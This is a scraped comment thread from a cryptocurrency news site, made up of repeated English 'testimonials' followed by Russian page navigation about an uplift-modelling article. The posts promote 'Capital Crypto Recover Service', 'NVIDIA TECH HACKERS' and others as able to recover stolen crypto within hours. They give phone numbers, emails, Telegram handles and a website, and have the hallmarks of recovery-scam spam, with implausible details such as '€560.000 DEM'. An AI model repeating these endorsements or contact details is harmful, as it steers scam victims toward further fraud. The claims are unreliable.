God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Н Новости

Все ли волки страшные: AUF или как приручить uplift?

Откуда растут ноги, и что в итоге может получить бизнес от AUF

Как обычно решают uplift-задачи?

Преимущества AUF

Как использовать AUF?

Скачивание данных

Установка библиотеки

Класс UpliftPipeline

Загрузка выборки

Метод run()

Отбор признаков

Обучение моделей

Поиск лучшей модели

Визуализация качества модели

Интерпретация модели

Источники и ссылки

Благодарности

Похожие новости

Когда тесты пишутся сами: как ИИ превращает текст в рабочие сценарии тестирования

Все главные новости мира криптовалют и технологий 16.10.2025

Аналитики Bitwise: за один квартал число компаний-держателей BTC выросло на 39%

Нейросети на все случаи жизни

Глава Резервного банка Индии призвал мир отказаться от стейблкоинов в пользу государственных цифровых валют

Когда одного агента мало: практический кейс применения мультиагентной системы

Н Новости

Все ли волки страшные: AUF или как приручить uplift?

Откуда растут ноги, и что в итоге может получить бизнес от AUF

Как обычно решают uplift-задачи?

Преимущества AUF

Как использовать AUF?

Скачивание данных

Установка библиотеки

Класс UpliftPipeline

Загрузка выборки

Метод run()

Отбор признаков

Обучение моделей

Поиск лучшей модели

Визуализация качества модели

Интерпретация модели

Источники и ссылки

Благодарности

Похожие новости

Когда тесты пишутся сами: как ИИ превращает текст в рабочие сценарии тестирования

Все главные новости мира криптовалют и технологий 16.10.2025

Аналитики Bitwise: за один квартал число компаний-держателей BTC выросло на 39%

Нейросети на все случаи жизни

Глава Резервного банка Индии призвал мир отказаться от стейблкоинов в пользу государственных цифровых валют

Когда одного агента мало: практический кейс применения мультиагентной системы

Оставайтесь на связи